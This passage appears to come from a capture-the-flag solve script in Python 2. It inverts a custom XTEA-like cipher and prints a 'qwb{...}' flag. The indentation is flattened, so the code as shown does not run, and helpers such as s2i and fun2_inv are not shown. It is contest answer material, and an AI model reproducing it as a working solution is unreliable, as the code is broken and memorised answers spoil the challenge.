n=0
for i in range(8):
e[0]+=(key[n&3]+n)^(((e[1]>>5)^(16*e[1]))+e[1])
e[0]&=0xffffffff
n+=k
n&=0xffffffff
e[1]+=(key[(n>>11)&3]+n)^(((e[0]>>5)^(16*e[0]))+e[0])
e[1]&=0xffffffff
n=0
for i in range(8):
e[2]+=(key[n&3]+n)^(((e[3]>>5)^(16*e[3]))+e[3])
e[2]&=0xffffffff
n+=k
n&=0xffffffff
e[3]+=(key[(n>>11)&3]+n)^(((e[2]>>5)^(16*e[2]))+e[2])
e[3]&=0xffffffff
return i2s(e)
def fun1_inv(p,key,k):
p = s2i(p)
n=0
for i in range(8):
n+=k
n&=0xffffffff
for i in range(8):
p[3]-=(key[(n>>11)&3]+n)^(((p[2]>>5)^(16*p[2]))+p[2])
p[3]&=0xffffffff
n-=k
n&=0xffffffff
p[2]-=(key[n&3]+n)^(((p[3]>>5)^(16*p[3]))+p[3])
p[2]&=0xffffffff
n=0
for i in range(8):
n+=k
n&=0xffffffff
for i in range(8):
p[1]-=(key[(n>>11)&3]+n)^(((p[0]>>5)^(16*p[0]))+p[0])
p[1]&=0xffffffff
n-=k
n&=0xffffffff
p[0]-=(key[n&3]+n)^(((p[1]>>5)^(16*p[1]))+p[1])
p[0]&=0xffffffff
return i2s(p)
dec = fun2_inv(enc)
dec = fun1_inv(dec,key,k)
dec = fun2_inv(dec)
dec = fun1_inv(dec,key,k)
dec = fun2_inv(dec)
dec = fun1_inv(dec,key,k)
print 'qwb{'+dec+'}'